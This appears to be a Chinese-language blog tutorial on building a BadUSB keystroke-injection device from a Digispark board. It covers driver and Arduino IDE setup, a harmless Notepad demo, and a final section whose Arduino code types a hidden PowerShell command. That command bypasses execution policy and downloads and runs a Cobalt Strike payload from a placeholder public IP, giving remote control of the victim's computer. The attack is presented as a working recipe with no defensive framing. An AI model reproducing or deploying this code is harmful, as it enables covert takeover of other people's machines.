什么是BadUsb?
BadUSB 是利用 USB 固件中固有的漏洞的攻击。这种攻击重新编程USB设备,使其充当人机交互设备。一旦重新设计,USB 设备将用于在受害者的计算机上谨慎执行命令或运行恶意程序。
BadUsb攻击原理
利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。
0x01 硬件准备
在购物网站搜索Digispark,一个板子大概在十几块。
Digispark驱动安装
首先需要电脑能识别到你的Digispark,不然后续无法对板子进行烧录。
找到适合自己电脑系统的驱动,我这里用的Windows。
根据自己电脑系统不同位数选择不同驱动安装。
安装成功后在把Digispark插到电脑上,就识别出来。
0x02 Arduino IDE软件安装
1. 安装Arduino
选择 Arduino IDE 1.18.19版本,安装过程全都默认下一步就好。
2. Arduino的Digispark配置
Arduino默认是不支持对Digispark进行烧录的,需要在Arduino中下载Digispark包安装后才可以进行烧录。
在文件
→首选项
中配置开发板管理器的网址。
配置完成后打开工具
→开发板
→开发板管理器
搜索digispark,选择Digistump AVR Boards安装。
“下载 http://digistump.co/package_digistump_index.json 时出错” 问题解决
方法1:因为官方的网址是国外的,很有可能会出错,可以使用翻墙软件解决此错误
方法2:可以观看此up主视频 bilibili
安装完成后在工具开发版中选中Digispark(Default-16.5mhz)
0x03 BadUsb基本制作流程
1. 编写代码
不太懂代码的朋友可以使用Automator工具辅助编写代码。
在Arduino工具中输入演示代码,代码主要内容是使用cmd
打开记事本然后输出“Hellow”。
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.println("notepad");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(4000);
DigiKeyboard.println("Hellow");
}
void loop() {
}
2. 烧录程序
先点击→
上传,提示我们Plug in device now... (will timeout in 60 seconds)
意思是在60秒内把板子插到电脑上。
随后插入板子,提示Micronucleus done. Thank you!
烧录成功。
3. 效果演示
0x04 CobaltStrike远控上线
Ardunio代码
首先需要同CS生成钓鱼代码,攻击
→钓鱼攻击
→Scripted Web Delivery(S)
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://公网ip:8888/a'))"
主要用到代码中的payload的地址:http://公网ip:8888/a
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //发送win+R
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://公网ip:8888/a');")); //向运行对话框输入PowerShell代码远程执行CS上线指令
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER); //发送一个回车键
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}